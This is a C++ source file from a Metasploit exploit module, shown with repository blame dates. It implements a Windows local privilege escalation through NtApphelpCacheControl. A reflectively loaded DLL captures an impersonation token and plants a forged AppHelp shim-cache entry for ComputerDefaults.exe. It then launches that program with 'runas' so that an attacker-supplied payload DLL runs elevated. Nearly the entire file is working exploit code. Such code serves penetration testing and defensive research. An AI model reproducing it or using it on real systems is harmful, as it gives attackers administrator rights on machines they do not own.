Files
metasploit-gs/external/source/exploits/ntapphelpcachecontrol/exploit/dllmain.cpp
T

273 lines
6.6 KiB
C++
Raw Normal View History

2015-01-09 19:02:08 -06:00
//#include "stdafx.h"
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
2015-01-08 18:43:29 -06:00
2015-01-09 19:02:08 -06:00
#include "my_winternl.h"
#include "sdb.h"
#include <string>
#include <combaseapi.h>
#include <shellapi.h>
2015-01-08 18:43:29 -06:00
#define BUF_SIZE 0x108
#define MAX_ENV 32767
enum APPHELPCOMMAND
{
AppHelpQuery, // 0 -> 0x22003 DeviceIoControl
AppHelpRemove, // 1 -> 0x22007
AppHelpUpdate, // 2 -> 0x2200B (Admin)
AppHelpEnum, // 3 -> 0x2200F (Admin) (Looks unused)
AppHelpNotifyStart, // 4 -> 0x220013 (Admin)
AppHelpWriteRegistry, // 5 -> 0x220017 (Admin)
AppHelpNotifyStop, // 6 -> 0x22001B (Admin)
AppHelpForward, // 7 -> 0x22001F (looks to forward communication to helper service)
AppHelpSnapshot, // 8 -> 0x220023 (Admin)
AppHelpQueryModule, // 9 -> 0x220027
AppHelpRefresh, // 10 -> 0x22002B
AppHelpCheckForChange, // 11 -> 0x22002F
AppHelpQueryHwId, // 12 (doesnt go to driver, calls AchCacheQueryHwId)
};
struct ApphelpCacheControlData
{
BYTE unk0[0x98]; // 0x00 -> 0x98 (all zeros?)
DWORD query_flags; // 0x98;
DWORD cache_flags; // 0x9C
HANDLE file_handle; // 0xA0
HANDLE process_handle; // 0xA4
UNICODE_STRING file_name; // 0xA8
UNICODE_STRING package_name;// 0xB0
DWORD buf_len; // 0xB8
LPVOID buffer; // 0xBC
BYTE unkC0[0x2C]; // 0xC0 -> 0xEC
UNICODE_STRING module_name; // 0xEC (used for 9)
BYTE unkF4[0x14]; // 0xF4 -> 0x108
};
typedef NTSTATUS(NTAPI *_NtApphelpCacheControl)(APPHELPCOMMAND type, void* buf);
typedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
HANDLE CaptureImpersonationToken();
struct APPHELP_QUERY
{
int match_tags[16];
int unk40[16];
int layer_tags[8];
int flags;
int main_tag;
int match_count;
int layer_count;
GUID exe_guid;
int unkC0[264 / 4];
};
BOOL resolveSdbFunctions();
extern SdbOpenDatabase SdbOpenDatabasePtr;
extern SdbCloseDatabase SdbCloseDatabasePtr;
extern SdbTagToString SdbTagToStringPtr;
extern SdbGetFirstChild SdbGetFirstChildPtr;
extern SdbGetTagFromTagID SdbGetTagFromTagIDPtr;
extern SdbGetNextChild SdbGetNextChildPtr;
extern SdbReadBinaryTag SdbReadBinaryTagPtr;
TAGID findExeByGuid(PDB db, TAGID tid, REFGUID exe_guid)
{
TAG tmpTag = 0;
DWORD dwD = 0;
TAGID newtid = TAGID_NULL;
LPCTSTR tmp;
DWORD i = 0;
GUID guid;
newtid = SdbGetFirstChildPtr(db, tid);
while (newtid != TAGID_NULL)
{
tmpTag = SdbGetTagFromTagIDPtr(db, newtid);
tmp = SdbTagToStringPtr(tmpTag);
// process tag types
switch (tmpTag & 0xFFFF)
{
case TAG_EXE_ID:
if (SdbReadBinaryTagPtr(db, newtid, (PBYTE)&guid, sizeof(guid)))
{
if (IsEqualGUID(guid, exe_guid))
{
return tid;
}
}
break;
default:
break;
}
// recursive
if ((tmpTag & TAG_TYPE_LIST) == TAG_TYPE_LIST)
{
TAGID ret = findExeByGuid(db, newtid, exe_guid);
if (ret != 0)
{
return ret;
}
}
// get next tag
newtid = SdbGetNextChildPtr(db, tid, newtid);
}
return 0;
}
TAGID GetTagForRegsvr32()
{
resolveSdbFunctions();
PDB db = SdbOpenDatabasePtr(L"\\SystemRoot\\AppPatch\\sysmain.sdb", NT_PATH);
if (!db)
{
DWORD stat = GetLastError();
printf("Failed to load SDB file %d\n", stat);
return 0;
}
GUID guid;
IIDFromString(L"{2C7437C1-7105-40D3-BF84-D493A4F62DDB}", &guid);
TAGID ret = findExeByGuid(db, TAGID_ROOT, guid);
SdbCloseDatabasePtr(db);
return ret;
}
LPWSTR GetEnvVar(LPWSTR env)
{
WCHAR buf[MAX_ENV];
GetEnvironmentVariable(env, buf, MAX_ENV);
return buf;
}
2015-01-09 19:02:08 -06:00
DWORD CALLBACK ExploitMain(char * lpReserved)
2015-01-08 18:43:29 -06:00
{
WCHAR dllpath_buf[MAX_PATH];
2015-01-09 19:02:08 -06:00
WCHAR payloadPath[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, lpReserved, -1, payloadPath, MAX_PATH);
2015-01-08 18:43:29 -06:00
2015-01-09 19:02:08 -06:00
if (!GetFullPathNameW(payloadPath, MAX_PATH, (LPWSTR) dllpath_buf, nullptr))
2015-01-08 18:43:29 -06:00
{
printf("Couldn't get fullpath to dll %d\n", GetLastError());
return 1;
}
std::wstring dllpath;
dllpath = L"\"";
dllpath += dllpath_buf;
dllpath += L"\"";
TAGID tag = GetTagForRegsvr32();
if (tag == 0)
{
printf("Failed to get SDB tag for regsvr32\n");
return 1;
}
printf("Found regsvr32.exe tag: %08X\n", tag);
HANDLE token = CaptureImpersonationToken();
_RtlInitUnicodeString fRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString");
_NtApphelpCacheControl fNtApphelpCacheControl = (_NtApphelpCacheControl)GetProcAddress(GetModuleHandle(L"ntdll"), "NtApphelpCacheControl");
ApphelpCacheControlData data = { 0 };
2015-01-08 21:37:13 -06:00
std::wstring exe = GetEnvVar(L"SystemRoot");
exe += L"\\System32\\ComputerDefaults.exe";
2015-01-08 18:43:29 -06:00
std::wstring full_path = L"\\??\\";
full_path += exe.c_str();
printf("Interposing on cache for %ls\n", full_path.c_str());
fRtlInitUnicodeString(&data.file_name, full_path.c_str());
data.file_handle = CreateFile(exe.c_str(), FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
nullptr, OPEN_EXISTING, 0, 0);
if (data.file_handle == INVALID_HANDLE_VALUE)
{
printf("Error opening file %ls %d\n", exe.c_str(), GetLastError());
return 1;
}
data.query_flags = 0xFF;
data.cache_flags = 1;
APPHELP_QUERY query = { 0 };
query.match_count = 1;
query.layer_count = 0;
query.match_tags[0] = tag;
query.unkC0[0] = 1;
data.buffer = &query;
data.buf_len = sizeof(query);
int status = -1;
// Ensure it the cache if flushed
fNtApphelpCacheControl(AppHelpRemove, &data);
if (SetThreadToken(nullptr, token))
{
status = fNtApphelpCacheControl(AppHelpUpdate, &data);
RevertToSelf();
}
else
{
status = GetLastError();
}
if (status == 0)
{
LPCWSTR verb = L"runas";
printf("Calling %ls on %ls with command line %ls\n", verb, exe.c_str(), dllpath.c_str());
ShellExecuteW(nullptr, verb, exe.c_str(), dllpath.c_str(), nullptr, SW_SHOW);
printf("Remove: %08X\n", fNtApphelpCacheControl(AppHelpRemove, &data));
}
else
{
printf("Error adding cache entry: %08X\n", status);
}
return 0;
2015-01-09 19:02:08 -06:00
}
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
{
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
ExploitMain((char*)lpReserved);
ExitProcess(0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}